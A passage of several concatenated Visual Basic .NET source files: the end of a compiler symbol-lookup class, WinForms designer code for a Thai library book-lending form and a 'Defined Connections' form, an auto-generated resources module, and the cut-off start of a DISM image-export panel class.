= SymbolKind.NamedType) If type.DeclaredAccessibility < Accessibility.Public AndAlso possiblyMergedNamespace.Extent.Kind <> NamespaceKind.Module Then ' Namespace should be preferred over a non-public type in the same declaring container. But since the namespace symbol ' we have is a merged one, we need to do extra work here to figure out if this is the case. For Each sibling In DirectCast(type.ContainingSymbol, NamespaceSymbol).GetMembers(type.Name) If sibling.Kind = SymbolKind.Namespace Then ' namespace is better Return 1 End If Next End If Return 0 End Function ' Create a diagnostic for ambiguous names in a namespace Private Shared ReadOnly s_ambiguousInNSError As Func(Of ImmutableArray(Of Symbol), AmbiguousSymbolDiagnostic) = Function(syms As ImmutableArray(Of Symbol)) As AmbiguousSymbolDiagnostic Dim container As Symbol = syms(0).ContainingSymbol If container.Name.Length > 0 Then Dim containers = syms.Select(Function(sym) sym.ContainingSymbol). GroupBy(Function(c) c.ToDisplayString(SymbolDisplayFormat.QualifiedNameOnlyFormat), IdentifierComparison.Comparer). OrderBy(Function(group) group.Key, IdentifierComparison.Comparer). Select(Function(group) group.First()) If containers.Skip(1).Any() Then Return New AmbiguousSymbolDiagnostic(ERRID.ERR_AmbiguousInNamespaces2, syms, syms(0).Name, New FormattedSymbolList(containers)) Else Return New AmbiguousSymbolDiagnostic(ERRID.ERR_AmbiguousInNamespace2, syms, syms(0).Name, container) End If Else Return New AmbiguousSymbolDiagnostic(ERRID.ERR_AmbiguousInUnnamedNamespace1, syms, syms(0).Name) End If End Function ''' <summary> ''' Replace the symbol replaced with a new one, but the kind ''' and diagnostics retained from the current result. Typically used when constructing ''' a type from a symbols and type arguments. ''' </summary> Public Sub ReplaceSymbol(newSym As Symbol) _symList.Clear() _symList.Add(newSym) End Sub ' Return the lowest non-empty result kind. ' However, if one resultKind is Empty and other is Good, we will return LookupResultKind.Empty Friend Shared Function WorseResultKind(resultKind1 As LookupResultKind, resultKind2 As LookupResultKind) As LookupResultKind If resultKind1 = LookupResultKind.Empty Then Return If(resultKind2 = LookupResultKind.Good, LookupResultKind.Empty, resultKind2) End If If resultKind2 = LookupResultKind.Empty Then Return If(resultKind1 = LookupResultKind.Good, LookupResultKind.Empty, resultKind1) End If If resultKind1 < resultKind2 Then Return resultKind1 Else Return resultKind2 End If End Function End Class End Namespace
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _ Partial Class Form4 Inherits System.Windows.Forms.Form 'Form overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Me.components = New System.ComponentModel.Container() Me.GroupBox1 = New System.Windows.Forms.GroupBox() Me.TextBox5 = New System.Windows.Forms.TextBox() Me.TextBox4 = New System.Windows.Forms.TextBox() Me.TextBox3 = New System.Windows.Forms.TextBox() Me.TextBox2 = New System.Windows.Forms.TextBox() Me.TextBox1 = New System.Windows.Forms.TextBox() Me.DateTimePicker2 = New System.Windows.Forms.DateTimePicker() Me.DateTimePicker1 = New System.Windows.Forms.DateTimePicker() Me.Label5 = New System.Windows.Forms.Label() Me.Button1 = New System.Windows.Forms.Button() Me.Label4 = New System.Windows.Forms.Label() Me.Label3 = New System.Windows.Forms.Label() Me.Label2 = New System.Windows.Forms.Label() Me.Label1 = New System.Windows.Forms.Label() Me.Panel2 = New System.Windows.Forms.Panel() Me.Label12 = New System.Windows.Forms.Label() Me.TextBox12 = New System.Windows.Forms.TextBox() Me.Label13 = New System.Windows.Forms.Label() Me.GroupBox2 = New System.Windows.Forms.GroupBox() Me.Button4 = New System.Windows.Forms.Button() Me.DataGridView1 = New System.Windows.Forms.DataGridView() Me.TextBox6 = New System.Windows.Forms.TextBox() Me.Button5 = New System.Windows.Forms.Button() Me.Button2 = New System.Windows.Forms.Button() Me.Label6 = New System.Windows.Forms.Label() Me.GroupBox3 = New System.Windows.Forms.GroupBox() Me.Button8 = New System.Windows.Forms.Button() Me.DataGridView2 = New System.Windows.Forms.DataGridView() Me.TextBox9 = New System.Windows.Forms.TextBox() Me.TextBox8 = New System.Windows.Forms.TextBox() Me.Label10 = New System.Windows.Forms.Label() Me.Label9 = New System.Windows.Forms.Label() Me.Button11 = New System.Windows.Forms.Button() Me.GroupBox4 = New System.Windows.Forms.GroupBox() Me.DataGridView3 = New System.Windows.Forms.DataGridView() Me.TextBox7 = New System.Windows.Forms.TextBox() Me.Label11 = New System.Windows.Forms.Label() Me.Button10 = New System.Windows.Forms.Button() Me.Button6 = New System.Windows.Forms.Button() Me.Button7 = New System.Windows.Forms.Button() Me.Button3 = New System.Windows.Forms.Button() Me.Timer1 = New System.Windows.Forms.Timer(Me.components) Me.Button9 = New System.Windows.Forms.Button() Me.GroupBox1.SuspendLayout() Me.Panel2.SuspendLayout() Me.GroupBox2.SuspendLayout() CType(Me.DataGridView1, System.ComponentModel.ISupportInitialize).BeginInit() Me.GroupBox3.SuspendLayout() CType(Me.DataGridView2, System.ComponentModel.ISupportInitialize).BeginInit() Me.GroupBox4.SuspendLayout() CType(Me.DataGridView3, System.ComponentModel.ISupportInitialize).BeginInit() Me.SuspendLayout() ' 'GroupBox1 ' Me.GroupBox1.Controls.Add(Me.TextBox5) Me.GroupBox1.Controls.Add(Me.TextBox4) Me.GroupBox1.Controls.Add(Me.TextBox3) Me.GroupBox1.Controls.Add(Me.TextBox2) Me.GroupBox1.Controls.Add(Me.TextBox1) Me.GroupBox1.Controls.Add(Me.DateTimePicker2) Me.GroupBox1.Controls.Add(Me.DateTimePicker1) Me.GroupBox1.Controls.Add(Me.Label5) Me.GroupBox1.Controls.Add(Me.Button1) Me.GroupBox1.Controls.Add(Me.Label4) Me.GroupBox1.Controls.Add(Me.Label3) Me.GroupBox1.Controls.Add(Me.Label2) Me.GroupBox1.Controls.Add(Me.Label1) Me.GroupBox1.Enabled = False Me.GroupBox1.Location = New System.Drawing.Point(71, 48) Me.GroupBox1.Margin = New System.Windows.Forms.Padding(4) Me.GroupBox1.Name = "GroupBox1" Me.GroupBox1.Padding = New System.Windows.Forms.Padding(4) Me.GroupBox1.Size = New System.Drawing.Size(720, 155) Me.GroupBox1.TabIndex = 0 Me.GroupBox1.TabStop = False Me.GroupBox1.Text = "ข้อมูลการยืม" ' 'TextBox5 ' Me.TextBox5.BackColor = System.Drawing.SystemColors.Menu Me.TextBox5.Location = New System.Drawing.Point(303, 66) Me.TextBox5.Margin = New System.Windows.Forms.Padding(4) Me.TextBox5.Name = "TextBox5" Me.TextBox5.ReadOnly = True Me.TextBox5.Size = New System.Drawing.Size(184, 22) Me.TextBox5.TabIndex = 11 ' 'TextBox4 ' Me.TextBox4.Enabled = False Me.TextBox4.Location = New System.Drawing.Point(135, 70) Me.TextBox4.Margin = New System.Windows.Forms.Padding(4) Me.TextBox4.Name = "TextBox4" Me.TextBox4.Size = New System.Drawing.Size(143, 22) Me.TextBox4.TabIndex = 10 ' 'TextBox3 ' Me.TextBox3.BackColor = System.Drawing.SystemColors.Menu Me.TextBox3.Location = New System.Drawing.Point(303, 29) Me.TextBox3.Margin = New System.Windows.Forms.Padding(4) Me.TextBox3.Name = "TextBox3" Me.TextBox3.ReadOnly = True Me.TextBox3.Size = New System.Drawing.Size(184, 22) Me.TextBox3.TabIndex = 9 ' 'TextBox2 ' Me.TextBox2.Location = New System.Drawing.Point(105, 34) Me.TextBox2.Margin = New System.Windows.Forms.Padding(4) Me.TextBox2.Name = "TextBox2" Me.TextBox2.Size = New System.Drawing.Size(155, 22) Me.TextBox2.TabIndex = 8 ' 'TextBox1 ' Me.TextBox1.Location = New System.Drawing.Point(580, 67) Me.TextBox1.Margin = New System.Windows.Forms.Padding(4) Me.TextBox1.Name = "TextBox1" Me.TextBox1.ReadOnly = True Me.TextBox1.Size = New System.Drawing.Size(132, 22) Me.TextBox1.TabIndex = 7 Me.TextBox1.Visible = False ' 'DateTimePicker2 ' Me.DateTimePicker2.Location = New System.Drawing.Point(424, 107) Me.DateTimePicker2.Margin = New System.Windows.Forms.Padding(4) Me.DateTimePicker2.Name = "DateTimePicker2" Me.DateTimePicker2.Size = New System.Drawing.Size(265, 22) Me.DateTimePicker2.TabIndex = 6 ' 'DateTimePicker1 ' Me.DateTimePicker1.Location = New System.Drawing.Point(84, 107) Me.DateTimePicker1.Margin = New System.Windows.Forms.Padding(4) Me.DateTimePicker1.Name = "DateTimePicker1" Me.DateTimePicker1.Size = New System.Drawing.Size(265, 22) Me.DateTimePicker1.TabIndex = 5 ' 'Label5 ' Me.Label5.AutoSize = True Me.Label5.Location = New System.Drawing.Point(359, 115) Me.Label5.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label5.Name = "Label5" Me.Label5.Size = New System.Drawing.Size(49, 17) Me.Label5.TabIndex = 4 Me.Label5.Text = "วันที่คืน" ' 'Button1 ' Me.Button1.Location = New System.Drawing.Point(517, 31) Me.Button1.Margin = New System.Windows.Forms.Padding(4) Me.Button1.Name = "Button1" Me.Button1.Size = New System.Drawing.Size(100, 28) Me.Button1.TabIndex = 3 Me.Button1.Text = "ค้นหา" Me.Button1.UseVisualStyleBackColor = True ' 'Label4 ' Me.Label4.AutoSize = True Me.Label4.Location = New System.Drawing.Point(20, 115) Me.Label4.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label4.Name = "Label4" Me.Label4.Size = New System.Drawing.Size(47, 17) Me.Label4.TabIndex = 3 Me.Label4.Text = "วันที่ยืม" ' 'Label3 ' Me.Label3.AutoSize = True Me.Label3.Location = New System.Drawing.Point(20, 74) Me.Label3.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label3.Name = "Label3" Me.Label3.Size = New System.Drawing.Size(94, 17) Me.Label3.TabIndex = 2 Me.Label3.Text = "รหัสบรรณารักษ์" ' 'Label2 ' Me.Label2.AutoSize = True Me.Label2.Location = New System.Drawing.Point(20, 38) Me.Label2.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size(68, 17) Me.Label2.TabIndex = 1 Me.Label2.Text = "รหัสสมาชิก" ' 'Label1 ' Me.Label1.AutoSize = True Me.Label1.Location = New System.Drawing.Point(516, 71) Me.Label1.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(35, 17) Me.Label1.TabIndex = 0 Me.Label1.Text = "เลขที่" Me.Label1.Visible = False ' 'Panel2 ' Me.Panel2.Controls.Add(Me.Button9) Me.Panel2.Controls.Add(Me.Label12) Me.Panel2.Controls.Add(Me.TextBox12) Me.Panel2.Controls.Add(Me.Label13) Me.Panel2.Location = New System.Drawing.Point(1158, 13) Me.Panel2.Margin = New System.Windows.Forms.Padding(4) Me.Panel2.Name = "Panel2" Me.Panel2.Size = New System.Drawing.Size(483, 268) Me.Panel2.TabIndex = 25 Me.Panel2.Visible = False ' 'Label12 ' Me.Label12.AutoSize = True Me.Label12.Location = New System.Drawing.Point(164, 165) Me.Label12.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label12.Name = "Label12" Me.Label12.Size = New System.Drawing.Size(130, 17) Me.Label12.TabIndex = 3 Me.Label12.Text = "จะทำการยืนยันในอีก : " ' 'TextBox12 ' Me.TextBox12.Location = New System.Drawing.Point(168, 110) Me.TextBox12.Margin = New System.Windows.Forms.Padding(4) Me.TextBox12.Name = "TextBox12" Me.TextBox12.Size = New System.Drawing.Size(132, 22) Me.TextBox12.TabIndex = 1 ' 'Label13 ' Me.Label13.AutoSize = True Me.Label13.Location = New System.Drawing.Point(148, 73) Me.Label13.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label13.Name = "Label13" Me.Label13.Size = New System.Drawing.Size(157, 17) Me.Label13.TabIndex = 0 Me.Label13.Text = "สแกน เพื่อค้นหารหัสหนังสือ" ' 'GroupBox2 ' Me.GroupBox2.Controls.Add(Me.Button4) Me.GroupBox2.Controls.Add(Me.DataGridView1) Me.GroupBox2.Controls.Add(Me.TextBox6) Me.GroupBox2.Controls.Add(Me.Button5) Me.GroupBox2.Controls.Add(Me.Button2) Me.GroupBox2.Controls.Add(Me.Label6) Me.GroupBox2.Enabled = False Me.GroupBox2.Location = New System.Drawing.Point(71, 316) Me.GroupBox2.Margin = New System.Windows.Forms.Padding(4) Me.GroupBox2.Name = "GroupBox2" Me.GroupBox2.Padding = New System.Windows.Forms.Padding(4) Me.GroupBox2.Size = New System.Drawing.Size(527, 292) Me.GroupBox2.TabIndex = 1 Me.GroupBox2.TabStop = False Me.GroupBox2.Text = "รายการยืมหันงสือ" ' 'Button4 ' Me.Button4.Location = New System.Drawing.Point(227, 30) Me.Button4.Margin = New System.Windows.Forms.Padding(4) Me.Button4.Name = "Button4" Me.Button4.Size = New System.Drawing.Size(124, 28) Me.Button4.TabIndex = 10 Me.Button4.Text = "สแกน Barcode" Me.Button4.UseVisualStyleBackColor = True ' 'DataGridView1 ' Me.DataGridView1.AllowUserToAddRows = False Me.DataGridView1.AllowUserToDeleteRows = False Me.DataGridView1.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.DataGridView1.Location = New System.Drawing.Point(12, 63) Me.DataGridView1.Margin = New System.Windows.Forms.Padding(4) Me.DataGridView1.Name = "DataGridView1" Me.DataGridView1.ReadOnly = True Me.DataGridView1.RowHeadersWidth = 51 Me.DataGridView1.Size = New System.Drawing.Size(352, 222) Me.DataGridView1.TabIndex = 9 ' 'TextBox6 ' Me.TextBox6.Location = New System.Drawing.Point(93, 31) Me.TextBox6.Margin = New System.Windows.Forms.Padding(4) Me.TextBox6.Name = "TextBox6" Me.TextBox6.Size = New System.Drawing.Size(123, 22) Me.TextBox6.TabIndex = 8 ' 'Button5 ' Me.Button5.Location = New System.Drawing.Point(372, 107) Me.Button5.Margin = New System.Windows.Forms.Padding(4) Me.Button5.Name = "Button5" Me.Button5.Size = New System.Drawing.Size(136, 28) Me.Button5.TabIndex = 7 Me.Button5.Text = "ลบรายการที่เลือก" Me.Button5.UseVisualStyleBackColor = True ' 'Button2 ' Me.Button2.Location = New System.Drawing.Point(372, 63) Me.Button2.Margin = New System.Windows.Forms.Padding(4) Me.Button2.Name = "Button2" Me.Button2.Size = New System.Drawing.Size(136, 28) Me.Button2.TabIndex = 4 Me.Button2.Text = "เพิ่มรายการ" Me.Button2.UseVisualStyleBackColor = True ' 'Label6 ' Me.Label6.AutoSize = True Me.Label6.Location = New System.Drawing.Point(8, 34) Me.Label6.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label6.Name = "Label6" Me.Label6.Size = New System.Drawing.Size(69, 17) Me.Label6.TabIndex = 0 Me.Label6.Text = "รหัสหนังสือ" ' 'GroupBox3 ' Me.GroupBox3.Controls.Add(Me.Button8) Me.GroupBox3.Controls.Add(Me.DataGridView2) Me.GroupBox3.Controls.Add(Me.TextBox9) Me.GroupBox3.Controls.Add(Me.TextBox8) Me.GroupBox3.Controls.Add(Me.Label10) Me.GroupBox3.Controls.Add(Me.Label9) Me.GroupBox3.Controls.Add(Me.Button11) Me.GroupBox3.Location = New System.Drawing.Point(881, 48) Me.GroupBox3.Margin = New System.Windows.Forms.Padding(4) Me.GroupBox3.Name = "GroupBox3" Me.GroupBox3.Padding = New System.Windows.Forms.Padding(4) Me.GroupBox3.Size = New System.Drawing.Size(439, 396) Me.GroupBox3.TabIndex = 1 Me.GroupBox3.TabStop = False Me.GroupBox3.Text = "สืบค้นข้อมูล" ' 'Button8 ' Me.Button8.Location = New System.Drawing.Point(47, 354) Me.Button8.Margin = New System.Windows.Forms.Padding(4) Me.Button8.Name = "Button8" Me.Button8.Size = New System.Drawing.Size(235, 28) Me.Button8.TabIndex = 12 Me.Button8.Text = "Report สมาชิกที่ยังไม่คืนหนังสือ" Me.Button8.UseVisualStyleBackColor = True ' 'DataGridView2 ' Me.DataGridView2.AllowUserToAddRows = False Me.DataGridView2.AllowUserToDeleteRows = False Me.DataGridView2.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.DataGridView2.Location = New System.Drawing.Point(47, 121) Me.DataGridView2.Margin = New System.Windows.Forms.Padding(4) Me.DataGridView2.Name = "DataGridView2" Me.DataGridView2.ReadOnly = True Me.DataGridView2.RowHeadersWidth = 51 Me.DataGridView2.Size = New System.Drawing.Size(339, 222) Me.DataGridView2.TabIndex = 11 ' 'TextBox9 ' Me.TextBox9.Location = New System.Drawing.Point(121, 85) Me.TextBox9.Margin = New System.Windows.Forms.Padding(4) Me.TextBox9.Name = "TextBox9" Me.TextBox9.Size = New System.Drawing.Size(100, 22) Me.TextBox9.TabIndex = 11 ' 'TextBox8 ' Me.TextBox8.Location = New System.Drawing.Point(121, 44) Me.TextBox8.Margin = New System.Windows.Forms.Padding(4) Me.TextBox8.Name = "TextBox8" Me.TextBox8.Size = New System.Drawing.Size(100, 22) Me.TextBox8.TabIndex = 10 ' 'Label10 ' Me.Label10.AutoSize = True Me.Label10.Location = New System.Drawing.Point(28, 85) Me.Label10.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label10.Name = "Label10" Me.Label10.Size = New System.Drawing.Size(75, 17) Me.Label10.TabIndex = 2 Me.Label10.Text = "ข้อมูลสมาชิก" ' 'Label9 ' Me.Label9.AutoSize = True Me.Label9.Location = New System.Drawing.Point(28, 41) Me.Label9.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label9.Name = "Label9" Me.Label9.Size = New System.Drawing.Size(76, 17) Me.Label9.TabIndex = 1 Me.Label9.Text = "ข้อมูลหนังสือ" ' 'Button11 ' Me.Button11.Location = New System.Drawing.Point(240, 41) Me.Button11.Margin = New System.Windows.Forms.Padding(4) Me.Button11.Name = "Button11" Me.Button11.Size = New System.Drawing.Size(100, 28) Me.Button11.TabIndex = 0 Me.Button11.Text = "ค้นหา" Me.Button11.UseVisualStyleBackColor = True ' 'GroupBox4 ' Me.GroupBox4.Controls.Add(Me.DataGridView3) Me.GroupBox4.Controls.Add(Me.TextBox7) Me.GroupBox4.Controls.Add(Me.Label11) Me.GroupBox4.Controls.Add(Me.Button10) Me.GroupBox4.Location = New System.Drawing.Point(811, 452) Me.GroupBox4.Margin = New System.Windows.Forms.Padding(4) Me.GroupBox4.Name = "GroupBox4" Me.GroupBox4.Padding = New System.Windows.Forms.Padding(4) Me.GroupBox4.Size = New System.Drawing.Size(533, 192) Me.GroupBox4.TabIndex = 2 Me.GroupBox4.TabStop = False Me.GroupBox4.Text = "คืนหนังสือ" ' 'DataGridView3 ' Me.DataGridView3.AllowUserToAddRows = False Me.DataGridView3.AllowUserToDeleteRows = False Me.DataGridView3.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize Me.DataGridView3.Location = New System.Drawing.Point(228, 7) Me.DataGridView3.Margin = New System.Windows.Forms.Padding(4) Me.DataGridView3.Name = "DataGridView3" Me.DataGridView3.ReadOnly = True Me.DataGridView3.RowHeadersWidth = 51 Me.DataGridView3.Size = New System.Drawing.Size(297, 177) Me.DataGridView3.TabIndex = 18 ' 'TextBox7 ' Me.TextBox7.Location = New System.Drawing.Point(95, 23) Me.TextBox7.Margin = New System.Windows.Forms.Padding(4) Me.TextBox7.Name = "TextBox7" Me.TextBox7.Size = New System.Drawing.Size(124, 22) Me.TextBox7.TabIndex = 16 ' 'Label11 ' Me.Label11.AutoSize = True Me.Label11.Location = New System.Drawing.Point(9, 27) Me.Label11.Margin = New System.Windows.Forms.Padding(4, 0, 4, 0) Me.Label11.Name = "Label11" Me.Label11.Size = New System.Drawing.Size(68, 17) Me.Label11.TabIndex = 17 Me.Label11.Text = "รหัสสมาชิก" ' 'Button10 ' Me.Button10.Location = New System.Drawing.Point(103, 55) Me.Button10.Margin = New System.Windows.Forms.Padding(4) Me.Button10.Name = "Button10" Me.Button10.Size = New System.Drawing.Size(108, 28) Me.Button10.TabIndex = 12 Me.Button10.Text = "ค้นหา" Me.Button10.UseVisualStyleBackColor = True ' 'Button6 ' Me.Button6.Location = New System.Drawing.Point(71, 615) Me.Button6.Margin = New System.Windows.Forms.Padding(4) Me.Button6.Name = "Button6" Me.Button6.Size = New System.Drawing.Size(127, 28) Me.Button6.TabIndex = 11 Me.Button6.Text = "เริ่มรายการยืม" Me.Button6.UseVisualStyleBackColor = True ' 'Button7 ' Me.Button7.Enabled = False Me.Button7.Location = New System.Drawing.Point(471, 615) Me.Button7.Margin = New System.Windows.Forms.Padding(4) Me.Button7.Name = "Button7" Me.Button7.Size = New System.Drawing.Size(127, 28) Me.Button7.TabIndex = 12 Me.Button7.Text = "ยกเลิกการยืม" Me.Button7.UseVisualStyleBackColor = True ' 'Button3 ' Me.Button3.Enabled = False Me.Button3.Location = New System.Drawing.Point(264, 615) Me.Button3.Margin = New System.Windows.Forms.Padding(4) Me.Button3.Name = "Button3" Me.Button3.Size = New System.Drawing.Size(127, 28) Me.Button3.TabIndex = 13 Me.Button3.Text = "ยืนยันการยืม" Me.Button3.UseVisualStyleBackColor = True ' 'Timer1 ' ' 'Button9 ' Me.Button9.Location = New System.Drawing.Point(423, 4) Me.Button9.Name = "Button9" Me.Button9.Size = New System.Drawing.Size(57, 43) Me.Button9.TabIndex = 4 Me.Button9.Text = "X" Me.Button9.UseVisualStyleBackColor = True ' 'Form4 ' Me.AutoScaleDimensions = New System.Drawing.SizeF(8.0!, 16.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.BackgroundImage = Global.Libray_System.My.Resources.Resources.J3D_26_800x400 Me.ClientSize = New System.Drawing.Size(1360, 658) Me.Controls.Add(Me.Panel2) Me.Controls.Add(Me.Button3) Me.Controls.Add(Me.Button7) Me.Controls.Add(Me.Button6) Me.Controls.Add(Me.GroupBox4) Me.Controls.Add(Me.GroupBox3) Me.Controls.Add(Me.GroupBox2) Me.Controls.Add(Me.GroupBox1) Me.Margin = New System.Windows.Forms.Padding(4) Me.Name = "Form4" Me.Text = " " Me.GroupBox1.ResumeLayout(False) Me.GroupBox1.PerformLayout() Me.Panel2.ResumeLayout(False) Me.Panel2.PerformLayout() Me.GroupBox2.ResumeLayout(False) Me.GroupBox2.PerformLayout() CType(Me.DataGridView1, System.ComponentModel.ISupportInitialize).EndInit() Me.GroupBox3.ResumeLayout(False) Me.GroupBox3.PerformLayout() CType(Me.DataGridView2, System.ComponentModel.ISupportInitialize).EndInit() Me.GroupBox4.ResumeLayout(False) Me.GroupBox4.PerformLayout() CType(Me.DataGridView3, System.ComponentModel.ISupportInitialize).EndInit() Me.ResumeLayout(False) End Sub Friend WithEvents GroupBox1 As GroupBox Friend WithEvents TextBox4 As TextBox Friend WithEvents TextBox3 As TextBox Friend WithEvents TextBox2 As TextBox Friend WithEvents TextBox1 As TextBox Friend WithEvents DateTimePicker2 As DateTimePicker Friend WithEvents DateTimePicker1 As DateTimePicker Friend WithEvents Label5 As Label Friend WithEvents Button1 As Button Friend WithEvents Label4 As Label Friend WithEvents Label3 As Label Friend WithEvents Label2 As Label Friend WithEvents Label1 As Label Friend WithEvents GroupBox2 As GroupBox Friend WithEvents TextBox6 As TextBox Friend WithEvents Button5 As Button Friend WithEvents Button2 As Button Friend WithEvents Label6 As Label Friend WithEvents GroupBox3 As GroupBox Friend WithEvents TextBox9 As TextBox Friend WithEvents TextBox8 As TextBox Friend WithEvents Label10 As Label Friend WithEvents Label9 As Label Friend WithEvents Button11 As Button Friend WithEvents GroupBox4 As GroupBox Friend WithEvents Button10 As Button Friend WithEvents DataGridView2 As DataGridView Friend WithEvents Button6 As Button Friend WithEvents Button7 As Button Friend WithEvents TextBox5 As TextBox Friend WithEvents Button3 As Button Friend WithEvents DataGridView1 As DataGridView Friend WithEvents TextBox7 As TextBox Friend WithEvents Label11 As Label Friend WithEvents Button4 As Button Friend WithEvents Panel2 As Panel Friend WithEvents Label12 As Label Friend WithEvents TextBox12 As TextBox Friend WithEvents Label13 As Label Friend WithEvents Timer1 As Timer Friend WithEvents Button8 As Button Friend WithEvents DataGridView3 As DataGridView Friend WithEvents Button9 As Button End Class
'------------------------------------------------------------------------------ ' <auto-generated> ' This code was generated by a tool. ' Runtime Version:4.0.30319.42000 ' ' Changes to this file may cause incorrect behavior and will be lost if ' the code is regenerated. ' </auto-generated> '------------------------------------------------------------------------------ Option Strict On Option Explicit On Namespace My.Resources 'This class was auto-generated by the StronglyTypedResourceBuilder 'class via a tool like ResGen or Visual Studio. 'To add or remove a member, edit your .ResX file then rerun ResGen 'with the /str option, or rebuild your VS project. '''<summary> ''' A strongly-typed resource class, for looking up localized strings, etc. '''</summary> <Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _ Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _ Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _ Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _ Friend Module Resources Private resourceMan As Global.System.Resources.ResourceManager Private resourceCulture As Global.System.Globalization.CultureInfo '''<summary> ''' Returns the cached ResourceManager instance used by this class. '''</summary> <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager Get If Object.ReferenceEquals(resourceMan, Nothing) Then Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("win_example.AIMHanXinCode.Net.VB.Resources", GetType(Resources).Assembly) resourceMan = temp End If Return resourceMan End Get End Property '''<summary> ''' Overrides the current thread's CurrentUICulture property for all ''' resource lookups using this strongly typed resource class. '''</summary> <Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _ Friend Property Culture() As Global.System.Globalization.CultureInfo Get Return resourceCulture End Get Set(ByVal value As Global.System.Globalization.CultureInfo) resourceCulture = value End Set End Property End Module End Namespace
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _ Partial Class frmConnections Inherits System.Windows.Forms.Form 'Form overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Me.btnNew = New System.Windows.Forms.Button() Me.lvCon = New System.Windows.Forms.ListView() Me.btnDelete = New System.Windows.Forms.Button() Me.SuspendLayout() ' 'btnNew ' Me.btnNew.Location = New System.Drawing.Point(12, 12) Me.btnNew.Name = "btnNew" Me.btnNew.Size = New System.Drawing.Size(75, 23) Me.btnNew.TabIndex = 0 Me.btnNew.Text = "New" Me.btnNew.UseVisualStyleBackColor = True ' 'lvCon ' Me.lvCon.Location = New System.Drawing.Point(2, 42) Me.lvCon.Name = "lvCon" Me.lvCon.Size = New System.Drawing.Size(600, 336) Me.lvCon.TabIndex = 1 Me.lvCon.UseCompatibleStateImageBehavior = False ' 'btnDelete ' Me.btnDelete.Location = New System.Drawing.Point(93, 13) Me.btnDelete.Name = "btnDelete" Me.btnDelete.Size = New System.Drawing.Size(75, 23) Me.btnDelete.TabIndex = 2 Me.btnDelete.Text = "Delete" Me.btnDelete.UseVisualStyleBackColor = True ' 'frmConnections ' Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.ClientSize = New System.Drawing.Size(605, 379) Me.Controls.Add(Me.btnDelete) Me.Controls.Add(Me.lvCon) Me.Controls.Add(Me.btnNew) Me.Name = "frmConnections" Me.Text = "Defined Connections" Me.ResumeLayout(False) End Sub Friend WithEvents btnNew As System.Windows.Forms.Button Friend WithEvents lvCon As System.Windows.Forms.ListView Friend WithEvents btnDelete As System.Windows.Forms.Button End Class
Public Class PanelImageExport Inherits DismPanelBase Private WithEvents Label3 As System.Windows.Forms.Label Private WithEvents Label4 As System.Windows.Forms.Label Private WithEvents Label5 As System.Windows.Forms.Label Private WithEvents Label1 As System.Windows.Forms.Label Private WithEvents WimFile As DismGui.WimFileSelector Private WithEvents WimInfo As DismGui.WimInfoComboBox Private WithEvents TBImageName As System.Windows.Forms.TextBox Private WithEvents TBImageDescription As System.Windows.Forms.TextBox Friend WithEvents BtnExport As System.Windows.Forms.Button Private WithEvents CBCompress As System.Windows.Forms.ComboBox Private WithEvents ChkBootable As System.Windows.Forms.CheckBox Private WithEvents TT As System.Windows.Forms.ToolTip Private components As System.ComponentModel.IContainer Private WithEvents ChkCheckIntegrity As System.Windows.Forms.CheckBox Private WithEvents Label6 As System.Windows.Forms.Label Private WithEvents TBTargetImageName As System.Windows.Forms.TextBox Private WithEvents Label2 As System.Windows.Forms.Label Private WithEvents TargetWimFile As DismGui.WimFileSelector Private WithEvents Label7 As System.Windows.Forms.Label Private WithEvents ChkWIMBoot As System.Windows.Forms.CheckBox Friend WithEvents ChkPushToQueue As System.Windows.Forms.CheckBox Public Sub New() InitializeComponent() End Sub Protected Overrides Sub OnLoadConfig() WimFile.Text = 